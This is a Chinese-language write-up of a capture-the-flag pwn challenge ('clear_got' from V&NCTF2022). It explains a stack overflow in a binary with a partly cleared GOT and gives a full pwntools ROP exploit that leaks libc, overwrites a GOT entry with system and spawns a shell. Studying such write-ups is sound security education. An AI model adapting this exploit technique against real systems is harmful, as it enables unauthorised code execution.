V&NCTF2022 --PWN(逐步更新,)
在赛后结合wp对题目进行复现
clear_got
很明显的溢出,且程序清空了got表(清空了但没完全清空)
可以看到剩下libc_start_main没清空gdb调试后还有stdout没有清空
程序给了我们可以利用的rop
所以我们可以先调用write去读取出来这个libc_start_main和stdout的值,去获得libc的值,也刚好把end2利用了起来,因为这里有个retn,(retn就是先eip=esp,然后esp=esp+4 ,网上查的)会跳转到我们覆盖的rbp的地址,此时让rax为0
然后再调用read(0,0x601080,rbx)去往got表里面写值,在这步我们可以输入system的值去覆盖put_got的值
最后我们通过调用puts_plt的值,去获得shell
完整exp如下
from pwn import * p = process('./clear_got') #p = remote('node4.buuoj.cn',28875) elf = ELF('./clear_got') libc = ELF('./libc-2.23.so') pop_rdi = 0x4007f3 syscall = 0x40077e pop_rsi = 0x4007f1 payload = b'a'*0x60+p64(0x40075c)+p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(0x601040)+p64(0)+p64(0x400773) payload += p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(0x601008)+p64(0)+p64(syscall) payload += p64(pop_rdi)+p64(0x601008)+p64(elf.plt['puts']) p.send(payload) libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x020740 print('libc_base--->>'+hex(libc_base)) #gdb.attach(p) key = raw_input() system = libc_base + libc.sym['system'] one = libc_base + 0x45216 print('system--->>'+hex(system)) payload = b'/bin/sh\x00'+p64(system)*6 key = raw_input() p.sendline(payload) p.interactive()